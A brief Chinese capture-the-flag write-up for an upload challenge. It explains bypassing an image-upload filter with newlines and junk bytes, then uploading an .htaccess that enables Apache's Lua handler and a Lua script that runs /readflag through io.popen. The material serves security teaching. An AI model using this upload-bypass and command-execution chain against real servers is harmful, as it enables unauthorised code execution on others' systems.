newupload

先发现文件换行以及垃圾填入可以绕过图片文件过滤,利用php代码执行可以看目录和shell,但是没有权限,可以看到目录中有/readflag。

因为宝塔需要运行自己的WAF,所以宝塔可以解析lua文件。

先上传一个.htaccess:

<Files "*.lua">
	SetHandler lua-script
</Files>

再上传lua文件并解析(来自链接):

require "string"
function handle(r)
    r.content_type = "text/plain"
    if r.method == 'GET' then
        local a = io.popen('/readflag')
        local b = a:read("*all")
        r:puts(b)
    end
    return apache2.OK
end

Last updated